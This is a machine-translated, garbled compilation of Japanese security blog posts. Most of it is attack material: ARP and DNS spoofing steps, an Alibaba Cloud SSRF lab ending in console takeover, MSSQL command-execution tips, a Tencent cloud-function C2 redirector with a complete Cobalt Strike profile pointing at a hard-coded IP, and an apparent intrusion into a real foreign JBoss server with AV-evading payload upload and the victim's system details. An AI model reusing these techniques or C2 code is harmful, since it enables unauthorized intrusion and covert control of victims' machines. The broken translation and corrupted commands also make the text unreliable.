ターゲットホスト:192.168.174.170(勝利7)攻撃ホスト:192.168.174.169(Windows Server 2003)ゲートウェイアドレス:192.168.174.2

欺ceptionプロセス

ステップ1:ネットフェットの実行中のホストの実行と、ネットフェの実行を担当します。 ARPスプーフィングは実行できません)

1049983-20230129140612974-455784759.png

ステップ2:ARPスプーフィングの構成

1049983-20230129140613650-1836780355.png

ステップ3:プラグインコマンドパラメーター設定

1049983-20230129140614397-2145380496.jpg

ステップ4:ARPスプーフィングをオンにします

1049983-20230129140615228-1163122555.png

攻撃検出

XARPツールの紹介

XARPは、海外で人気のあるARPファイアウォールソフトウェアです。ユーザーが特別な検出システムを確立し、高度なテクノロジーを使用して、ネットワーク上のさまざまなARP攻撃を検出および処理するのに役立ちます。たとえば、ARPスプーフィングを使用して、攻撃者は、電子メールやパスワードなど、すべてのネットワークトラフィックを盗聴できます。これはすべて発見されていません。 XARPは、このような攻撃を検出するためのアクティブおよびパッシブ方法を実行します。

攻撃検出

ステップ1:NetFukeをオンにしてARPスプーフィング攻撃を実装する

1049983-20230129140615902-1963725991.png

ステップ2:次に、XARP側はアラーム情報と関連する記録情報を見ることができます

1049983-20230129140616614-1756824487.jpg

ps:私は個人的にこのツールがそれほど良くないと感じています〜

防御測定

ARP詐欺の防衛方法は、主に次の2つの側面から始まります。

a。鍛造データパケットの伝播をブロックします。

この方法は、主にスイッチやルーターなどのネットワークデバイスの観点から始まります。スイッチを例にとると、スイッチのポート、MACアドレス、IPアドレスにバインドして、DAI(動的ARP検査)検出テーブルを生成します。特定のポートのホストがDAIテーブルのエントリと一致しないデータパケットを送信した場合、ネットワークを切断するか、送信するデータパケットを破棄することを選択できます。

b。被害者は偽のデータパケットを受け入れません

この方法は、主にユーザーの観点から始まります。まず、なじみのないネットワークにアクセスしないことは確かです。第二に、ユーザーはデバイスにARPファイアウォールをインストールできます。技術者である場合、静的ARPエントリを確立することを選択できます(頻繁に変化しないネットワーク環境に適しており、少数が少ない)。 windonwdeユーザーはコマンド 'arp -s ip'アドレスMacアドレスを使用して静的バインディングを実行します

dns攻撃

ドメイン名システム

DNS(ドメイン名システム)、つまりドメイン名解像度プロトコル。ドメイン名システムは、分散データベースの形でドメイン名とIPアドレスを互いにマッピングします。簡単に言えば、DNSはドメイン名を解決するために使用されます。 DNSを使用すると、迷惑なIPアドレスを覚えておく必要がなくなりました。比較的覚えやすいドメイン名を使用して、サーバーにアクセスします。サーバーがIPアドレスを変更したとしても、ドメイン名を介してサーバーにアクセスすることができます。これにより、インターネットにアクセスするのがより便利になります。

1049983-20230129140617417-1882185836.png

www.baidu.comをブラウザに入力すると、次のクエリプロセスを実行します。

クライアントは、www.baidu.comローカルDNSサーバーのローカルDNSサーバーをクエリして、ローカルデータベースを確認します。 Baidu.comドメインの記録はないため、クエリ情報をルートドメインDNSサーバーに渡し、解像度のホスト名を要求します。ルートドメインDNSサーバーは、「com」ドメインをローカルDNSサーバーに解決するためのDNSサーバーのIPアドレスを返します。ローカルDNSサーバーは、「com」ドメインサーバーを担当する「com」ドメインサーバーを担当するDNSサーバーにリクエストを送信します。リクエストによると、「baidu.com」ドメインを担当するDNSサーバーのIPアドレスは、「baidu.com」ドメインを担当するローカルDNSサーバーに返されます。ローカルDNSサーバーは、「baidu.com」ドメインを担当するDNSサーバーにリクエストを送信します。このサーバーにはwww.baidu.comのレコードがあるため、www.baidu.comになります。 IPアドレスはローカルDNSサーバーに返されます。ローカルDNSサーバーは、www.baidu.comのIPアドレスをクライアントに送信します。ドメイン名が正常に解決された後、クライアントはHTTP要求をWebサーバーに送信します。 Webサーバーは、クライアントのアクセスリクエストに応答します。クライアントはターゲットホストにアクセスできます。

dnsスプーフィング

DNSはインターネットでこのような重要な役割を果たしていますが、DNSプロトコルを設計するとき、設計者はいくつかのセキュリティの問題を考慮せず、DNSのセキュリティリスクと欠陥につながりました。 DNSスプーフィングは、DNSプロトコルを設計する際に非常に深刻なセキュリティ欠陥です。

まず、Spooferは構築されたARP応答パケットをターゲットマシンに送信します。 ARPスプーフィングが成功した後、相手が送信したDNSリクエストパケットを嗅ぎ、パケットを分析してIDとポート番号を取得し、ターゲットによって構築されたDNSリターンパケットを送信します。 DNS Replyパケットを受信した後、IDとポート番号がすべて正しいことがわかります。つまり、ドメイン名とRETURNパケットの対応するIPアドレスがDNSキャッシュテーブルに保存され、実際のDNS Replyパケットが後の実際のDNS返信パケットが返されると破棄されます。

欺ceptionの実践

テスト環境

攻撃ホスト:192.168.174.129ターゲットホスト:192.168.174.170

簡単なテスト

ステップ1:攻撃ホストのネットワーク接続性をテストする

1049983-20230129140618086-1953357804.jpg

ステップ2:次に、攻撃者のホストでApacheサービスを開始し、フィッシングページを作成します。これは、通常のHTMLページに簡素化されます。ローカルテスト効果は次のとおりです

1049983-20230129140618746-1746632493.png

ステップ3:Etter.dnsファイルを見つけ、構成ファイルを変更します。ポイントwww.al1ex.comはローカルIPアドレスに

Etter.dnsを見つけます

leafpad /etc/ettercap/etter.dns

1049983-20230129140619383-361146956.jpg 1049983-20230129140620078-689761696.jpg

ステップ4:eTtercapでスプーフィングを開始します

eTtercap -g

1049983-20230129140620777-615927757.jpg

次に、DNSスプーフィングを有効にします

概要

認証情報を置き換え、パケットの結果を比較することにより、インターフェイスに期限切れの脆弱性があるかどうかを判断できます。

機能

Picture/JS/CSS/HTMLページなどの静的コンテンツのHTTPS自動フィルタリング、ブロッキング、サポート出力レポート、および完全なURL、リクエスト、応答

インストールと使用

GIT CLONE 3https://9GITHUB.COM/Y1NGLAMORE/IDTHOR_-DETECT_TTOR_-DETECT_THOR_-DETECT_THOR_-DETECT_THOR_-DTECTECT_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR_THOR_THOR_THOR_THOR_-DETECT_THOR。 PIPインストール-R要件。txt

インストール依存関係

python3 start.py

Socks5: //127.0.0.133608889を聴くことができます。

start

スイッチメガおよびその他のプラグインを使用してエージェントに接続し、MITM.ITにアクセスして証明書インストールページに入力し、オペレーティングシステムに従って証明書をインストールします。

例としてmacosを取る:

175143_y7wfgR

ダウンロードしてインストールした後、キーチェーンアクセスを開き、mitmproxy証明書を見つけて、AlwaysStrusに変更します

175302_B8WD5s

インストール証明書

ターゲットシステムの2つのアカウントAとBを最初に準備し、システムの認証ロジック(Cookie、Header、パラメーターなど)に従ってAアカウント情報config/config.ymlを構成し、次にBアカウントにログインします

175522_XdPt84

アカウントBを使用してアクセスすると、スクリプトは認証情報と再生を自動的に置き換え、応答結果に基づいて期限切れの脆弱性があるかどうかを判断します。

175435_PFm3WY

レポートを生成します

新しい脆弱性があるたびに、レポート/result.htmlに自動的に追加され、ブラウザを介して開きます。

181645_PaztjA

特定のエントリをクリックして、対応するリクエストと応答を展開/崩壊させます。

181811_HJMDoo

検出ロジック

230504_ECb2mP

元の接続:https://github.com/y1nglamore/idor_detect_tool

0x00はじめに

この記事では、Alibaba Cloudを使用して、クラウドサービスで攻撃的および防御的な方法を示すための例として使用されます。まず、Terraformを使用してECS SSRF脆弱性環境を構築し、次にステップバイステップで、インスタンスに存在するSSRF脆弱性を介してクラウドサービスアカウントのすべてのAlibabaクラウドサービス許可を取得します。

0x01環境構築

この記事では、Terraformgoatを使用して撮影範囲を構築しています。 Terraformgoat範囲アドレス:https://github.com/huocorp/terraformgoat(opens new Window)

射撃場を展開するときは、Alibaba Cloud AccessKeyを使用する必要があります。クラウドの生産環境に影響を与えることを避けるために、ここで非生産環境でAccessKeyを使用し、生産環境と同じアカウントを使用しないことを強くお勧めします。

Terraformgoatツールの反復更新により、次の環境構築方法が失敗し、展開方法はより便利でフレンドリーになりました。特定の展開方法については、上記のTerraformgoat射撃範囲の住所を参照してください。

次に、射撃場の構築を開始し、最初に射撃場プロジェクトをローカルエリアにクローンし、射撃範囲をダウンロードするために必要な依存関係を構築し始めます。

git clone 3https://github.com/huocorp/terraformgoat.git - デプス1

CD Terraformgoat

Dockerビルド。 -t terraformgoat:v0.0.3

docker run -itd -Name terraformgoat terraformgoat:v0.0.3

docker exec -it terraformgoat /bin /bash githubアクセスが遅い場合、ターミナルにプロキシを掛けることができます

proxy_url='127.0.0.133601080'エクスポートhttps_proxy=http://$ proxy_url http_proxy=http://$ proxy_url all_proxy=socks5: //次に使用します。ここでは、Alibaba Cloud Serviceを例に取り、2を入力してAlibaba Cloudを選択してEnterを押します。

1049983-20230131225117204-1980699701.png

Alibaba Cloud ECS SSRFシューティングレンジパスを入力して、アクセスキーを構成します

cd/terraformgoat/aliyun/ecs/ecs_ssrf/

Aliyun Configuration 1049983-20230131225118193-701724140.png

SSRF範囲を展開します

Terraform init

INITの初期化が遅い場合は、Terraformが適用されます。プロキシを掛けてください。

適用期間中、入力値がプロンプトされ、YESを入力して入力します。

1049983-20230131225137298-63570412.png

出力では、返された範囲アドレスを見ることができます。このアドレスにアクセスすると、SSRFテスト範囲のページが表示されます。これは、環境が構築されたことを意味します。

1049983-20230131225138389-921342286.png

0x02環境利用

現在の環境にはSSRFの脆弱性がありますが、通常のSSRFが位置する環境とは異なり、ここのSSRFの脆弱性がクラウドサーバーに表示されます。つまり、このSSRFの脆弱性を通じてサーバーのメタデータ情報を取得できます。

メタデータにアクセスします

http://100.100.100.200/最新/メタデータ1049983-20230131225139477-87423798.png

返された結果では、現在の環境にはRAM/ディレクトリがあることがわかります。つまり、現在のクラウドサーバーにはRAMロールが構成されているため、一時的な資格情報を取得できます。

メタデータを介して一時的な資格情報を取得します

ここのURLのHuocorp-Terraform-Goat-Roleは、http://100.100.100.200/最新/Meta-Data/RAM/Security-Credentials/にアクセスすることで取得できます。

http://100.100.100.200/最新/Meta-Data/RAM/Security-CreDentials/Huocorp-Terraform-Goat-Role 1049983-20230131225156034-2118635665.png

Aliyunコマンドラインツールに一時的な資格情報を構成します。

Aliyun configure - モードStstoken 1049983-20230131225157311-1794465312.png

サブユーザーと助成金管理者の許可を作成します

Aliyun Ram CreateUser -Username Teamssix

Aliyun Ram CreateLoginProfile -Username TeamSix -PassWord TeamSix@666

aliyun ram attachpolicytouser ---ポリシュイタイプシステム - ポリックナムadministratorAccess -username teamsix 1049983-20230131225158348-1911636520.png

https://Signin.aliyun.com(新しいウィンドウを開く)ページにアクセスして、RAMユーザーを介してログインします。ここのユーザー形式は、USERNAME@Company-Aliasで、ユーザー名は作成したばかりのユーザー名です。 Company-Aliasは、次のコマンドから取得できます。

Aliyun Ram GetAccountalias 1049983-20230131225201677-896717901.png

ここのアカウンタリアは、私たちが必要とする会社です。次にコンソールにログインできます。

1049983-20230131225202783-1613916352.png

ユーザーが今作成されたときにパスワードを入力してください

1049983-20230131225203985-212994692.png

ログインした後、ターゲットコンソールが表示されます。

1049983-20230131225206591-1683868747.png

現在、ユーザーを作成するときにAdministratorAccessの許可が付与されたため、RAM Access Control Officeから、現在のアカウントがすべてのAlibabaクラウドリソースを管理する許可があることを確認できます。

1049983-20230131225207786-84884398.png

Cloud Service ECSインスタンスでは、作成したばかりのSSRFシューティングレンジサーバーも表示できます。

1049983-20230131225208760-1260587526.png

この時点で、クラウドサーバーのSSRF脆弱性を活用することにより、Alibaba Cloud Consoleを引き継ぐために実装されています。

さらに、この環境にフラグファイルも配置されます。興味がある場合は、このフラグを見つけることができます。書き込みアドレス:https://github.com/huocorp/terraformgoat/tree/main/aliyun/ecs/ecs_ssrf(オペンズ新しいウィンドウ)

0x03防衛測定

SSRFに加えて、この環境には他に2つの主要な問題があります。

RAMの役割はあまりにも大きすぎるため、役割の許可を通じてサブユーザーの作成や、補強なしでサブユーザーに高い許可を付与するなど、操作メタデータにつながります。その結果、ターゲットにSSRFがあるか、ターゲットの権限が削除されると、メタデータは取得されるリスクがあります。最初のRAM役割の過度の権限の問題については、主なことは、ユーザーが権限を最小化するという原則を厳密に順守することです。 RAMの役割に権限を付与する場合、あまりにも高い権限を与えたり、必要な権限を付与したりすることのみを避けます。

2番目のメタデータのアクセスが硬化していないという問題に応じて、インスタンスのメタデータアクセスモードを硬化モードに設定できます。これは基本的なソリューションです。メタデータアクセスモードを硬化モードに設定するには、次の2つの方法があります。

インスタンスを作成するときに、システム構成1049983-20230131225209857-101210772.pngの高度なオプションで「インスタンスメタデータアクセスモード」を「右のモード」に設定できます。

すでに作成されたインスタンスでは、Alibaba Cloud Openapiでトークンを使用してメタデータの強制アクセスを有効にすることができます。 Openapiアドレス:https://NEXT.API.ALIYUN.COM/API/ECS/2014-05-26/MODIFYINSTANCEMETADATAOPTIONS(Opens New Window)1049983-20230131225211023-811956951.png

httptokensを必要なものに設定するということは、硬化モードが強制的に使用されることを意味します。現時点では、メタデータにアクセスすると403が促されます。

1049983-20230131225212158-993266326.png

メタデータを強化モードに設定すると、メタデータがSSRFを使用してメタデータが取得されるのを防ぐことができますが、インスタンスの許可が削除された場合、レッドチームはインスタンスでトークンを取得してからメタデータを取得するためにトークンを使用してコマンドを実行できます。

Linuxインスタンスでトークンを取得するコマンドは次のとおりです。

トークン=`curl -x put 'http://100.100.100.200/rest/api/token' -h 'x-aliyun-metadata-token-ttl-seconds: 21600'``` `` `` `Getトークン

Curl -H 'X-Aliyun-Ecs-Metadata-Token: $ Token' http://100.100.100.200/最新/Meta-Data/1049983-20230131225213143-2072985310.png

Windowsインスタンスで取得する方法については、Alibaba Cloudの公式文書を参照してください:https://help.aliyun.com/document_detail/108460.htm(Opens new Window)

メタデータアクセスモードを補強モードに設定するこの方法は、SSRFの脆弱性を防御するための補強モードになります。

0x04環境削除

作成されたサブアカウントを削除します

Aliyun Ram DetachpolicyFromuser - PolicyType System - PolicYname AdministratorAccess - Username TeamSsix

Aliyun Ram Deleteuser -Username TeamSixは、SSRF射撃範囲環境を削除します。射撃範囲を使用した後、ここで作成されたクラウドサービスは時間ごとに請求され、この射撃範囲インスタンスの価格は1時間あたり0.17人民元であるため、時間内に削除することを忘れないでください。

射撃範囲を破壊する前に、AccessKeyを初期アクセスキーとして構成し、コマンドを構成することを忘れないでください:Aliyun configure - mode ak

Terraform Destroy Terraformgoatをクリアしたい場合は、次のコマンドを使用できます。将来クラウド攻撃と防御を学びたい場合は、Terraformgoat環境を維持できます。

Dockerはterraformgoatを停止します

Docker RM Terraformgoat

Docker RMI terraformgoat:V0.0.3

0x05要約

ここでは、クラウドのSSRF脆弱性を通じて一時的なキーが得られました。管理者アクセスを備えたサブスクライバーが一時キーを介して作成され、最後にターゲットコンソールがこのサブスクライバーを介して引き継がれました。

ただし、この方法を実際の戦闘で使用するためのいくつかの前提条件があり、主な前提条件は次の2つです。

ECSインスタンスにはRAMの役割を付与する必要があります。そうしないと、一時的な資格情報にアクセスするメタデータは404ramを返します。この役割には、ユーザーの作成、許可の付与など、RAMアクセス制御に関連する運用許可が必要です。そうしないと、一時キーにはサブユーザーを作成する許可がありません。実際の戦闘では、ECSインスタンスにRAMの役割が付与されている場合、ほとんどの場合、役割にはユーザー作成の許可がありません。現時点では、サブアカウントを作成してコンソールにログインすることは不可能です。 Alibaba Cloud Command Lineツールを使用して、ターゲットクラウドサービスを操作できます。

一般に、クラウド攻撃と防御は、従来のイントラネット攻撃と防御とは依然として非常に異なります。

クラウド攻撃と防御の一般的な問題は、構成エラーです。たとえば、ここでの問題は、RAMの役割構成権限が高すぎることです。クラウド攻撃と防御の許可を維持する主な方法は、従来の攻撃と防御に関するさまざまな許可を持つのではなく、高恵まれたRAMユーザーを作成することです。クラウド攻撃と防御のイントラネットの水平方向は、伝統的な攻撃や防御などのさまざまなイントラネットの水平方式を持つのではなく、このクラウドサービスから別のクラウドサービスまで、クラウドサービスメーカーのコマンドラインまたはコンソールで主に水平方向にあります。最後に、この記事に記載されているコマンドの多くは、Fireline Cloud Security Knowledge Baseのコンテンツを参照しています。ナレッジベースアドレスは、https://Cloudsec.huoxian.cn(新しいウィンドウを開きます)です。知識ベースのホームページに、ファイヤーラインクラウドサービス攻撃と防御マトリックスを見ることができます。この記事は、この攻撃と防御マトリックスに基づいたクラウド攻撃と防御です。

1049983-20230131225214928-653517160.png

学習するためのより多くのクラウドセキュリティリソースを見つけたい場合は、現在100を超える国内および外国のクラウドセキュリティブログ、ツール、公式アカウント、その他のリソースが含まれているAwesome Cloud Security Projectにアクセスできます。プロジェクトアドレスは、https://github.com/teamssix/awesome-cloud-security(オペンズ新しいウィンドウ)です。

1049983-20230131225216312-1056046829.png

参照記事:https://Cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs

元の接続:https://wiki.teamssix.com/cloudservice/ec2/aliyun-console-takeover.html

序文

サイトのサイト分離タイプについての議論を見ました。情報収集のヒントを要約したいと思います。

テキスト

ウェブサイトライブラリ分離タイプサイトにはまだ要約記事がないので、ウェブサイトライブラリ分離タイプサイトに関する浸透のアイデアを記録しようとします。

サイトライブラリ分離タイプサイトの場合、通常、2つの侵入エントリポイント:を持つことができます

1.Web Webサイト

2。データベースの浸透のアイデアは、実際には非常に一般的です。しかし、ここでは、2つのエントリポイントが2つのパスにすぎない場合。

イントラネットの浸透はWeb Webサイトから行われ、サイトデータベースから分離され、イントラネットの浸透はデータベースから行われ、サイトデータベースから分離され、イントラネットの浸透はサイトWebサイトから分離され、イントラネットの浸透は異なるパスに従って異なる浸透テスト計画にカスタマイズされます。次の記録では、プロセスと簡単な問題を記録します。

1。ウェブ入り口からの浸透

Webポータルから、通常、ファイルのアップロード、コマンド実行、コード実行、SQLインジェクションの書き込み(Outfile、Log Backupなど)など、Webサイトのさまざまな脆弱性を把握します。

Web許可を取得したり、ファイルの読み取りなどの脆弱性を持つ場合、データベース構成ファイルも読み取り、データベースコンテンツを分析し、データベースのバックアップを見つけてから、後続の操作のためにデータベースターゲットIPを侵入します。

2。データベースの入り口からの浸透

しかし、ここでは、データベースのエントリポイントが外部ネットワークによって公開された弱いパスワードをポイントすると言わざるを得ません。 Web WebサイトSQLインジェクション。

データベースの入り口からの普及は、主により大きな権限を取得するか、浸透結果を拡大することです。たとえば、データベースからパスワード情報、ユーザー名などを取得できます。これにより、その後のイントラネットの浸透に効果的に役立ちます。

サイトはサイトライブラリから分離されており、データベースとWebは同じサーバーにありません。現時点では、パスが役に立たないため、Webを介して接続するための文を書くことはできません。 WebサイドからSQLインジェクションが見つかった場合、情報を収集して、次の方法を使用してアクセス許可を取得できます。

1.mysql

(1)WebサイドIPアドレスの配置

Information_schemaライブラリのプロセスリストをクエリすることにより、MySQLの現在の接続ステータスを確認できます。 Webアプリケーションはクエリデータベース操作を生成するため、ターゲットのIP:portがエコーされたホストフィールドに戻されます。

select * from information_schema.processlist;

1049983-20230202132719974-1143668680.jpg WebエンドのIPを取得した後、Webエンドに浸透することができます。

(2)load_file()データベースが配置されているサーバーに関する機密情報を取得

secure_file_privパラメーター(mysql5.7以下)に制限がない場合、load_file()関数を使用してファイルコンテンツを読み取ることもできます。

select load_file( 'c:/test.txt');#left slash/

1049983-20230202132720758-2131279046.jpgは、読み取りなどのネットワークカード情報を取得することもできます。

/etc/udev/rules.d/70-persistent-net.rulesネットワークカード名を取得します。

/etc/sysconfig/network-scripts/ifcfg-netcard static ipdhcp if /var/lib/dhclient/dhclient - netcard.lease

2.mssql

(1)ステーションライブラリが分離されているかどうかを判断します

クライアントホスト名を取得する

host_name();を選択します。

サーバーホスト名を取得します

@@ servernameを選択します。

結果に基づいて分離されているかどうかを判断すると、同じ結果がサーバーと同じである可能性があり、同じ結果はサイトライブラリの分離です。

(2)ストアドプロシージャ実行コマンド

MSSQLストアドプロシージャを介してシステムコマンドを実行することができ、権限を直接エスカレートして他のホストに侵入しようとすることができます。

一般的に使用される2つ:

XP_CMDSHELLSP_OACREATEは、データベースサーバーがネットワークから外れているかどうかを検出し、PingまたはCurlを実行してネットワークから外れているかどうかを確認できます。通常、MSSQLに遭遇すると、コマンドの実行を通じて直接オンラインになります。

また、データベースでもあるため、当然、いくつかの機密情報が含まれています。さらに浸透するために、パスワードブックまたはその他の情報を整理できます。

まず、Tencent Cloudにログインし、クラウド機能を有効にする必要があります。

Tencent Cloudにログインした後、クラウド機能を検索します。開けるだけです。m4bjeztln2u3472.png

最初にログインし、承認が必要です。

コンソールにログインしたら、[作成]をクリックします。bnkltpxczhs3473.png

関数名は無料で、ゼロから開始することを選択し、環境でPython 3.6を入力し、選択した後に引き下げて、コードを内部に置きます。fbvhiriazsv3474.png

次のコードをコピーして、サーバーアドレスを変更します。

#Coding: UTF8

JSON、リクエスト、Base64をインポートします

def main_handler(イベント、コンテキスト):

応答={}

パス=なし

ヘッダー=なし

try:

C2='http://43.134.164.72:80'

event.keys():の「パス」の場合

path=event ['path']

event.keys():の「ヘッダー」の場合

ヘッダー=イベント['ヘッダー']

event.keys()およびevent ['httpmethod']=='get' :の場合は 'httpmethod'の場合

resp=requests.get(c2+path、headers=headers、verify=false)

else:

resp=requests.post(c2+path、data=event ['body']、headers=headers、firem=false)

印刷(resp.headers)

印刷(resp.content)

応答={

'isbase64encoded': true、

'StatusCode': resp.status_code、

'Headers ': dict(resp.headers)、

'body': str(base64.b64encode(resp.content))[2:-1]

}

E:としての例外を除く

印刷( 'エラー')

印刷(e)

最後に:

返信応答

b2vrexoa4xx3475.png

終了したら、[保存]をクリックしてください!

次に、[トリガー管理]をクリックしてトリガーを作成します

フォーマットは次のように1zf5c2k4vq53476.pngです

API名をクリックして編集し、このページに到着します。パスは /efvxbijzjv23477.pngに変更されます

クリックして、完了後にサービスを公開します

win_tecent_cloud_func.profileという名前のC2のプロファイルファイルを追加しました

SAMPLE_NAME 'T'を設定します。

Sleeptime '3000'を設定します。

Jitter '0'を設定します。

Maxdns '255'を設定します。

set useragent 'mozilla/5.0(互換; msie 8.0; windows nt 6.1; trident/5.0)';

http-get {

set uri '/api/x';

クライアント {

ヘッダー「Accept」*/*';

メタデータ{

base64;

prepend 'sessionid=';

ヘッダー「クッキー」;

}

}

サーバー{

ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';

ヘッダー「コンテンツ転送エンコード」「バイナリ」。

ヘッダー「サーバー」 'nodejs';

出力{

base64;

印刷;

}

}

}

http-stager {

set uri_x86 '/vue.min.js';

set uri_x64 '/bootstrap-2.min.js';

}

http-post {

set uri '/api/y';

クライアント {

ヘッダー「Accept」*/*';

id {

base64;

'jsession=';

ヘッダー「クッキー」;

}

出力{

base64;

印刷;

}

}

サーバー{

ヘッダー「コンテンツタイプ」 'アプリケーション/OCSP応答';

ヘッダー「コンテンツ転送エンコード」「バイナリ」。

ヘッダー「接続」 'キープアリブ';

出力{

base64;

印刷;

}

}

}

保存後、CSディレクトリに保存します。

CSサーバーを起動します

./TeamServer VPSIP Admin12345 win_tecent_cloud_func.profile swbiudj4dnf3478.png

パブリックネットワークインターフェイスアドレスドメインクラウド関数のドメイン名をリスナーのHTTPホストとステイガーのホストに入力します

HTTPおよび80 mb4ft4dqmup3479.pngに注意してください

リスニング3xlpsjvijgl3480.pngを追加します

シェルを生成した後、正常に起動されました。78.png元のテキスト接続:https://Blog.bbskali.cn/3771.html

ツールの準備

jexboss

Kali Linux

CS 4.3

Windows Killer Onlineクエリ1

Windows Killer Onlineクエリ2

Windows Killer Onlineクエリ3

fscan

タイドシェルコード無料キル

lstar

Cobaltstrike用のその他のプラグイン

PEASS-NG

printspoofer

屋外インターネットサービス

1。イントラネットの水平方向を練習するために、外国のサイトに静かに焦点を当てる

2。JBossのWebサイトには、Deserializationの脆弱性があることがわかりました。はい、jexbossを正常に使用することはできません。

python jexboss.py -u https://xx.xx.xx/3。 6人の兄弟による脱派化のための究極のテストツールに成功しました

1049983-20230215131239116-223537581.jpg

4.現在のユーザーWhoami、普通のユーザーを確認してください

1049983-20230215131240001-1805733217.jpg

5。IPアドレスIPConfigを確認します

1049983-20230215131240695-1226303758.png

6.キラータスクリスト /SVCがあるかどうかを確認します

1049983-20230215131241427-1688620320.jpg

7.クエリコンテンツをWindowsに貼り付けてソフトオンラインクエリを殺し、ソフトを殺していることを見つけます

1049983-20230215131242229-2119682491.png

8.サーバーがネットワークから外れているかどうかを確認してくださいwww.baidu.com、それは非常に良いです。サーバーはネットワーク外です

1049983-20230215131242947-720790428.jpg

csはオンライン

です

1。ソフトキーリングソフトウェアがあるため、バイパスすることを検討する必要があります。 CSトロイの木馬を直接アップロードすることは絶対に不可能です。今回は、GitHub上のPythonを使用してパッケージ化された多くのExeファイルが大きすぎて非常にゆっくりとアップロードされているため、Tideシェルコードは殺されません。

2。CSはC言語のシェルコードになります

1049983-20230215131243779-988047620.jpg

3.シェルコードコンテンツをTIDAL Webサイトにコピーし、生成されたexeをターゲットマシンにアップロードし、コマンドを実行します

c: \\ usr \\ desarrollo \\ jboss-5.1.0.ga \\ server \\ sigameserver \\ deploy \\ root.war \\ tideav-go1-2023-02-04-10-31-21-221261.exe tide

1049983-20230215131244506-1032424649.jpg

4。CSが正常に起動されます

1049983-20230215131245276-813131303.jpg

許可強化

情報収集

1。現在のユーザーと特権を表示します

おっと

おっと /priv

1049983-20230215131246068-433870973.jpg

2。システムバージョンとパッチ情報を表示します

SystemInfo

1049983-20230215131246951-13416048.jpg

nombre de host: ameprowebegad

Nombre del Sistema OperatingVO: Microsoft Windows 10 Pro

Versi¢n Del Sistema Operativo: 10.0.19044 N/D Compilaci¢n 19044

Fabricante del Sistema OperatingVO: Microsoft Corporation

configuraci¢n del sistema operativo: estaci¢n de trabajo miembro

Tipo de compilaci¢n del sistema operativo:マルチプロセッサ無料

Propiedad de: appzusr

organaCi¢n Registadada:

id。 Del Producto: 00331-10000-00001-AA727

fecha de instalaci¢n original3: 13/5/2022、14336003:47

Tiempo de Arranque del Sistema: 1/2/2023、16336050336029

Fabricante del Sistema: VMware、Inc。

Modelo El Sistema: VMware仮想プラットフォーム

Tipo de sistema: x64ベースのPC

Procesador(ES): 2 Procesadores Instalados。

[01] : Intel64ファミリー6モデル85ステッピング7純粋なインテル〜2494 MHz

[02] : Intel64ファミリー6モデル85ステッピング7純粋なインテル〜2494 MHz

Versi¢n del Bios: Phoenix Technologies Ltd 6.00、12/11/2020

Directorio de Windows: C: \ Windows

Directorio de Sistema: C: \ Windows \ System32

dispuritivo de arranque: \ device \ harddiskvolume1

Configuraci¢n Regional Del Sistema: EZS-MX;ESPA¤ol(Mlyxico)

Idioma de entrada: es-mx;espa¤ol(menxico)

Zona Horaria:(UTC-06:00)Guadalajara、Ciudad de M、Menxico、Monterrey

Cantidad Total De Memoriaf¡sica:4.095 Mb

Mememeiaf¡sicadisonible: 1.201 Mb

MEMERIA VIRTUAL:TAMA配M XIMO: 4.799 MB

MEMERIA VIRTUAL: DISPONIBLE: 1.147 MB

MEMERIA VIRTUAL: EN USO: 3.652 MB

ubicaci¢n(es)de archivo de paginaci¢n: c: \ pagefile.sys

dominio: ame.local

Servidor de inicio de sesi¢n: \\ ameprowebegad

revisi¢n(es): 4 revisi¢n(es)instaladas。

[01] : KB5004331

[02] : KB5003791

[03] : KB5006670

[04] : KB5005699

Tarjeta(s)de Red: 1 Tarjetas de Interfaz de Red Instaladas。

Z [01] : Intel(R)Pro/1000 MTネットワーク接続

nombre de conexi¢n: ethernet0

DHCP Habilitado: no

Direcciones IP

[01] : 172.16.2.100

[02] : FE80:591:AE09:EEE1:888E

Hyper-V: se extect¢un hippervisorが必要です。 No se mostr n lascaracter¡sticas必要なパラhyper -v.3、オープンポートサービスnetstat -anoを表示

Conexiones activas

Proto direcci¢n local direcci¢n Remota estado pid

TCP 0.0.0.03360135 0.0.0.0:0リスニング600

TCP 0.0.0.03360445 0.0.0.0:0リスニング4

TCP 0.0.0.033601090 0.0.0.0:0リスニング7600

TCP 0.0.0.033601098 0.0.0.0:0リスニング7600

TCP Z 0.0.0.033601099 0.0.0.0:0リスニング7600

TCP 0.0.0.033603389 0.0.0.0:0リスニング1072

TCP 0.0.0.033603873 0.0.0.0:0リスニング7600

TCP 0.0.0.033604444 0.0.0.0:0リスニング7600

TCP 0.0.0.03360445 0.0.0.0:0リスニング7600

TCP 0.0.0.033604446 0.0.0.0:0リスニング7600

TCP 0.0.0.03360457 0.0.0.0:0リスニング7600

TCP 0.0.0.033604712 0.0.0.0:0リスニング7600

TCP 0.0.0.033604713 0.0.0.0:0リスニング7600

TCP 0.0.0.033605040 0.0.0.0:0リスニング6652

TCP 0.0.0.0:5985 0.0.0.0:0リスニング4

TCP 0.0.0.033607070 0.0.0.0:0リスニング3564

TCP 0.0.0.0:8009 0.0.0.0:0リスニング7600

TCP 0.0.0.033608080 0.0.0.0:0 Zリスニング7600

TCP 0.0.0.033608083 0.0.0.0:0リスニング7600

TCP 0.0.0.0336046305 0.0.0.0:0リスニング7600

TCP 0.0.0.0336047001 0.0.0.0:0リスニング4

TCP 0.0.0.0336049664 0.0.0.0:0リスニング832

TCP 0.0.0.0336049665 0.0.0.0:0リスニング680

TCP 0.0.0.0336049666 0.0.0.0:0リスニング1416

TCP 0.0.0.0336049667 0.0.0.0:0リスニング1612

TCP 0.0.0.0336049668 0.0.0.0:0リスニング2452

TCP 0.0.0.0336049671 0.0.0.0:0リスニング832

TCP 0.0.0.0336049672 0.0.0.0:0リスニング3404

TCP 0.0.0.0336049704 0.0.0.0:0リスニング820

TCP 0.0.0.0336049708 0.0.0.0:0リスニング3048

TCP 0.0.0.0336051407 0.0.0.0:0リスニング7600

TCP 127Z.0.0.0.1:5140 0.0.0.0:0リスニング7172

TCP 127.0.0.1:51411 0.0.0.0:0リスニング7600

TCP 172.16.2.2.100:139 0.0.0.0:0リスニング4

TCP 172.16.2.2.100:8080 172.16.12.34:42602 Time_Wait 0

TCP 172.16.2.2.100:8080 172.16.12.34:42610確立された7600

TCP 172.16.2.100:8080 172.16.12.34336055672 Time_Wait 0

